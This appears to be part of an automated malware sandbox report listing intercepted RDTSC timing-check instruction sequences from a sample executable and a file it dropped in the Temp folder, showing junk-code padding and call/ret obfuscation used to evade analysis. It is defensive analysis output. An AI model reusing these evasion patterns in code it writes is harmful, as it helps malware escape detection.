Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 538033A second address: 538033E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 538033E second address: 5380344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380344 second address: 538034A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 538034A second address: 538034E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 538034E second address: 5380352 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380415 second address: 5380419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380419 second address: 538041D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 538041D second address: 5380423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380423 second address: 53804B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB998C5DACCh 0x00000009 adc ch, 00000048h 0x0000000c jmp 00007FB998C5DACBh 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007FB998C5DAD8h 0x00000018 add al, FFFFFFA8h 0x0000001b jmp 00007FB998C5DACBh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 jg 00007FBA0A23BAE5h 0x0000002a jmp 00007FB998C5DAD6h 0x0000002f js 00007FB998C5DB25h 0x00000035 jmp 00007FB998C5DAD0h 0x0000003a cmp dword ptr [ebp-14h], edi 0x0000003d pushad 0x0000003e mov bx, ax 0x00000041 mov si, C649h 0x00000045 popad 0x00000046 jne 00007FBA0A23BAB6h 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53804B7 second address: 53804BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53804BD second address: 5380503 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB998C5DAD6h 0x00000009 sub esi, 273B3FC8h 0x0000000f jmp 00007FB998C5DACBh 0x00000014 popfd 0x00000015 push esi 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebx, dword ptr [ebp+08h] 0x0000001d pushad 0x0000001e push esi 0x0000001f push edi 0x00000020 pop eax 0x00000021 pop edi 0x00000022 mov ax, 882Fh 0x00000026 popad 0x00000027 lea eax, dword ptr [ebp-2Ch] 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d push ecx 0x0000002e pop edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380503 second address: 5380541 instructions: 0x00000000 rdtsc 0x00000002 mov bl, ah 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FB99871C5CFh 0x0000000c xor ecx, 7676236Eh 0x00000012 jmp 00007FB99871C5D9h 0x00000017 popfd 0x00000018 popad 0x00000019 xchg eax, esi 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380541 second address: 5380547 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380547 second address: 5380567 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, bx 0x00000006 mov ch, dh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB99871C5D2h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380567 second address: 538056D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 538056D second address: 5380571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380571 second address: 53805A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007FB998C5DAD9h 0x0000000e nop 0x0000000f pushad 0x00000010 mov edi, ecx 0x00000012 movzx ecx, dx 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53805A2 second address: 53805A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53805A6 second address: 53805AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53805AA second address: 53805B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380008 second address: 538000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 538000C second address: 5380024 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB99871C5D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380024 second address: 538002A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 538002A second address: 538002E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 538002E second address: 538005A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DACDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FB998C5DACEh 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 movzx ecx, dx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 538005A second address: 5380060 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380060 second address: 5380064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380064 second address: 53800A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB99871C5CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FB99871C5D0h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 movsx edx, si 0x00000019 jmp 00007FB99871C5D6h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53800A8 second address: 53800BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 mov dx, CE90h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53800BA second address: 53800E2 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB99871C5CCh 0x00000008 xor esi, 2A0082D8h 0x0000000e jmp 00007FB99871C5CBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 movzx ecx, bx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53800E2 second address: 5380104 instructions: 0x00000000 rdtsc 0x00000002 mov esi, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], ecx 0x0000000a jmp 00007FB998C5DACDh 0x0000000f mov dword ptr [ebp-04h], 55534552h 0x00000016 pushad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380B89 second address: 5380B8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380B8F second address: 5380B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380B93 second address: 5380BC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 01CB45B8h 0x0000000d jmp 00007FB99871C5D6h 0x00000012 xor dword ptr [esp], 7751D990h 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380BC2 second address: 5380BFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DACAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FB998C5DAD2h 0x0000000f adc ax, F838h 0x00000014 jmp 00007FB998C5DACBh 0x00000019 popfd 0x0000001a popad 0x0000001b call 00007FBA0A232A43h 0x00000020 push 76952B70h 0x00000025 push dword ptr fs:[00000000h] 0x0000002c mov eax, dword ptr [esp+10h] 0x00000030 mov dword ptr [esp+10h], ebp 0x00000034 lea ebp, dword ptr [esp+10h] 0x00000038 sub esp, eax 0x0000003a push ebx 0x0000003b push esi 0x0000003c push edi 0x0000003d mov eax, dword ptr [769B4538h] 0x00000042 xor dword ptr [ebp-04h], eax 0x00000045 xor eax, ebp 0x00000047 push eax 0x00000048 mov dword ptr [ebp-18h], esp 0x0000004b push dword ptr [ebp-08h] 0x0000004e mov eax, dword ptr [ebp-04h] 0x00000051 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000058 mov dword ptr [ebp-08h], eax 0x0000005b lea eax, dword ptr [ebp-10h] 0x0000005e mov dword ptr fs:[00000000h], eax 0x00000064 ret 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380BFE second address: 5380C4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB99871C5D8h 0x00000009 jmp 00007FB99871C5D5h 0x0000000e popfd 0x0000000f push eax 0x00000010 pop edx 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 sub esi, esi 0x00000016 pushad 0x00000017 movzx ecx, di 0x0000001a popad 0x0000001b mov dword ptr [ebp-1Ch], esi 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FB99871C5CAh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380CB0 second address: 5380CDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 5D92h 0x00000007 mov ax, bx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d cmp dword ptr [ebp+08h], 00002000h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FB998C5DAD7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380CDF second address: 5380CE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380CE5 second address: 5380CEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380CEB second address: 5380CEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53908A6 second address: 53908C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DAD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53908C3 second address: 53908C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53908C9 second address: 53908CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53908CD second address: 53908F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007FB99871C5D4h 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53908F3 second address: 5390910 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DAD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5390910 second address: 5390920 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB99871C5CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5390920 second address: 5390924 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5390924 second address: 539095C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov cx, di 0x0000000e jmp 00007FB99871C5D9h 0x00000013 popad 0x00000014 xchg eax, esi 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FB99871C5CDh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 539095C second address: 5390962 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5390962 second address: 5390966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5390966 second address: 53909C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov al, 7Bh 0x0000000c pushfd 0x0000000d jmp 00007FB998C5DAD1h 0x00000012 xor si, 51C6h 0x00000017 jmp 00007FB998C5DAD1h 0x0000001c popfd 0x0000001d popad 0x0000001e xchg eax, esi 0x0000001f pushad 0x00000020 mov al, BBh 0x00000022 push edx 0x00000023 mov di, si 0x00000026 pop eax 0x00000027 popad 0x00000028 mov esi, dword ptr [ebp+0Ch] 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FB998C5DAD9h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53909C6 second address: 53909CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53909CC second address: 53909D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5390B18 second address: 5390B1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5390B1C second address: 5390B22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5390B22 second address: 5390B27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BEAD2B second address: BEAD3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB998C5DACDh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BD6411 second address: BD6415 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BD6415 second address: BD6420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BE9D46 second address: BE9D57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FB99871C5C6h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BE9D57 second address: BE9D5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BE9D5B second address: BE9D75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB99871C5D0h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BE9D75 second address: BE9D9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DAD7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007FB998C5DAC6h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BE9F0A second address: BE9F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BE9F0F second address: BE9F3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DACEh 0x00000007 jmp 00007FB998C5DAD9h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BE9F3F second address: BE9F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB99871C5D5h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BE9F58 second address: BE9F5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BEA230 second address: BEA236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BEA236 second address: BEA23C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BEA389 second address: BEA3A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB99871C5CEh 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007FB99871C5C6h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BEA3A1 second address: BEA3A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BEA659 second address: BEA663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB99871C5C6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BEA663 second address: BEA667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BEA667 second address: BEA66D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BECEC8 second address: BECF5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push ebx 0x00000007 jmp 00007FB998C5DAD4h 0x0000000c pop ebx 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007FB998C5DAC8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 jc 00007FB998C5DACCh 0x0000002e sub ecx, 069DF85Dh 0x00000034 or ecx, dword ptr [ebp+122D32E3h] 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push edi 0x0000003f call 00007FB998C5DAC8h 0x00000044 pop edi 0x00000045 mov dword ptr [esp+04h], edi 0x00000049 add dword ptr [esp+04h], 0000001Bh 0x00000051 inc edi 0x00000052 push edi 0x00000053 ret 0x00000054 pop edi 0x00000055 ret 0x00000056 pushad 0x00000057 jng 00007FB998C5DAC9h 0x0000005d movsx edi, cx 0x00000060 mov bx, DB2Bh 0x00000064 popad 0x00000065 push EA1DDCA5h 0x0000006a je 00007FB998C5DAD4h 0x00000070 push eax 0x00000071 push edx 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BECF5C second address: BECF60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BECF60 second address: BECFB6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 add dword ptr [esp], 15E223DBh 0x0000000d mov edx, dword ptr [ebp+122D36D7h] 0x00000013 push 00000003h 0x00000015 mov si, dx 0x00000018 or dword ptr [ebp+122D30D4h], edx 0x0000001e push 00000000h 0x00000020 sbb cl, FFFFFFF7h 0x00000023 push 00000003h 0x00000025 push 00000000h 0x00000027 push esi 0x00000028 call 00007FB998C5DAC8h 0x0000002d pop esi 0x0000002e mov dword ptr [esp+04h], esi 0x00000032 add dword ptr [esp+04h], 00000015h 0x0000003a inc esi 0x0000003b push esi 0x0000003c ret 0x0000003d pop esi 0x0000003e ret 0x0000003f mov edx, 152F2BE2h 0x00000044 call 00007FB998C5DAC9h 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BECFB6 second address: BECFBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BECFBC second address: BECFEB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FB998C5DAD9h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 jnl 00007FB998C5DAC6h 0x0000001b rdtsc
